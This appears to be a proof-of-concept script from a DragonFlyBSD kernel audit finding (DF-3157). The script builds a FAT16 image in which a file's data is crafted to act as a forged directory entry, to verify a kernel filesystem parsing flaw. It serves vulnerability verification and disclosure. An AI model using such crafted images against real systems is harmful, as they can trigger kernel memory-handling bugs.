⬢ DragonFlyBSD Kernel Audit
DF-3157 / mkfat.py
← back to finding ↓ download raw
#!/usr/bin/env python3
# Build a deterministic FAT16 image for DF-3157 verification.
#
# Layout (512B sectors, 1 sector/cluster):
#   sector 0        boot sector
#   sector 1..128   FAT #1   (128 sectors, 16-bit entries)
#   sector 129..256 FAT #2
#   sector 257..272 root dir (256 entries = 16 sectors)
#   sector 273..    data area; cluster N (>=2) at sector 273 + (N-2)
#   C_sub = 2 (sector 273)   directory SUB
#   C_vic = 3 (sector 274)   file VICTIM.DAT (512 bytes)
#
# VICTIM.DAT first 32 bytes double as the forged-dirent source:
#   deName[0..10]   = b'VICTIMDATA\x00'  (11 bytes, byte11 attrs must not have 0x10)
#   byte 11         = 0x4B  ('K', ATTR bits: archive(0x20)? 0x4B has 0x0B low -> attr=0x4B... we need no 0x10 bit: 0x4B & 0x10 == 0 OK)
#   bytes 28..31    = b'ABCD'  -> forged GETATTR st_size must read 0x44434241
import struct

SECT = 512
TOTSEC = 32768
RESERVED = 1
NFATS = 2
FATSEC = 128
ROOTENTS = 256
ROOTSEC = ROOTENTS * 32 // SECT   # 16
FIRSTDATA = RESERVED + NFATS * FATSEC + ROOTSEC  # 273
C_SUB = 2
C_VIC = 3
SECT_SUB = FIRSTDATA + (C_SUB - 2)   # 273
SECT_VIC = FIRSTDATA + (C_VIC - 2)   # 274

img = bytearray(b'\xf6' * (TOTSEC * SECT))  # 0xf6 = MS format filler

# ---- boot sector ----
bs = bytearray(SECT)
bs[0:3] = b'\xeb\x3c\x90'
bs[3:11] = b'MSDOS5.0'
struct.pack_into('<H', bs, 11, SECT)         # bytes/sector
bs[13] = 1                                    # sectors/cluster
struct.pack_into('<H', bs, 14, RESERVED)
bs[16] = NFATS
struct.pack_into('<H', bs, 17, ROOTENTS)
struct.pack_into('<H', bs, 19, TOTSEC)
bs[21] = 0xf8                                 # media
struct.pack_into('<H', bs, 22, FATSEC)
struct.pack_into('<H', bs, 24, 32)            # sectors/track
struct.pack_into('<H', bs, 26, 8)             # heads
struct.pack_into('<I', bs, 28, 0)             # hidden
struct.pack_into('<I', bs, 32, 0)             # totsec32
bs[36] = 0x80                                 # drive number
bs[38] = 0x29                                 # extended boot sig
struct.pack_into('<I', bs, 39, 0x31573157)    # volid
bs[43:54] = b'FATTESTDISK '                   # label 11
bs[54:62] = b'FAT16   '
bs[510] = 0x55; bs[511] = 0xaa
img[0:SECT] = bs

# ---- FATs ----
def date_fat(y, m, d): return ((y - 1980) << 9) | (m << 5) | d
def time_fat(h, mi, s): return (h << 11) | (mi << 5) | (s // 2)
DDATE = date_fat(2024, 1, 1); DTIME = time_fat(12, 0, 0)

fat = bytearray(FATSEC * SECT)
struct.pack_into('<H', fat, 0, 0xfff8)
struct.pack_into('<H', fat, 2, 0xffff)
struct.pack_into('<H', fat, C_SUB * 2, 0xffff)   # SUB chain EOF
struct.pack_into('<H', fat, C_VIC * 2, 0xffff)   # VICTIM chain EOF
for f in range(NFATS):
    off = (RESERVED + f * FATSEC) * SECT
    img[off:off + len(fat)] = fat

# ---- root directory ----
root = bytearray(ROOTSEC * SECT)
def direntry(name11, attr, clus, size, cdate, ctime):
    e = bytearray(32)
    e[0:11] = name11
    e[11] = attr
    e[12] = 0
    e[13] = 0
    struct.pack_into('<H', e, 14, ctime)      # ctime
    struct.pack_into('<H', e, 16, cdate)      # cdate
    struct.pack_into('<H', e, 18, cdate)      # adate
    struct.pack_into('<H', e, 20, 0)          # high clust (FAT16: 0)
    struct.pack_into('<H', e, 22, ctime)      # mtime
    struct.pack_into('<H', e, 24, cdate)      # mdate
    struct.pack_into('<H', e, 26, clus)
    struct.pack_into('<I', e, 28, size)
    return e
root[0:32]     = direntry(b'SUB        ', 0x10, C_SUB, 0, DDATE, DTIME)
root[32:64]    = direntry(b'VICTIM  DAT', 0x20, C_VIC, SECT, DDATE, DTIME)
roff = (RESERVED + NFATS * FATSEC) * SECT
img[roff:roff + len(root)] = root

# ---- SUB cluster: "." and ".." ----
sub = bytearray(SECT)
sub[0:32]   = direntry(b'.          ', 0x10, C_SUB, 0, DDATE, DTIME)
sub[32:64]  = direntry(b'..         ', 0x10, 0, 0, DDATE, DTIME)
soff = SECT_SUB * SECT
img[soff:soff + SECT] = sub

# ---- VICTIM data cluster ----
vic = bytearray(b'V' * SECT)
vic[0:11]  = b'VICTIMDATA'          # deName echo
vic[11]    = 0x4B                   # 'attributes' byte: 0x4B & 0x10 == 0 -> VREG
vic[12]    = 0x00
vic[13]    = 0x00
struct.pack_into('<H', vic, 14, DTIME)   # ctime  echo (so forged denode has sane-ish times)
struct.pack_into('<H', vic, 16, DDATE)
struct.pack_into('<H', vic, 18, DDATE)
struct.pack_into('<H', vic, 20, 0)       # high clust
struct.pack_into('<H', vic, 22, DTIME)   # mtime
struct.pack_into('<H', vic, 24, DDATE)   # mdate
struct.pack_into('<H', vic, 26, C_VIC)   # start cluster echo
vic[28:32] = b'ABCD'                 # deFileSize -> forged stat size = 0x44434241
voff = SECT_VIC * SECT
img[voff:voff + SECT] = vic

open('/tmp/opencode/fatbuild/fat16.img', 'wb').write(bytes(img))
print(f'image: {TOTSEC*SECT} bytes; firstdata sector={FIRSTDATA}; '
      f'C_SUB={C_SUB}@sec{SECT_SUB}; C_VIC={C_VIC}@sec{SECT_VIC}; '
      f'victim size marker bytes at image offset {voff+28} = {img[voff+28:voff+32]!r}')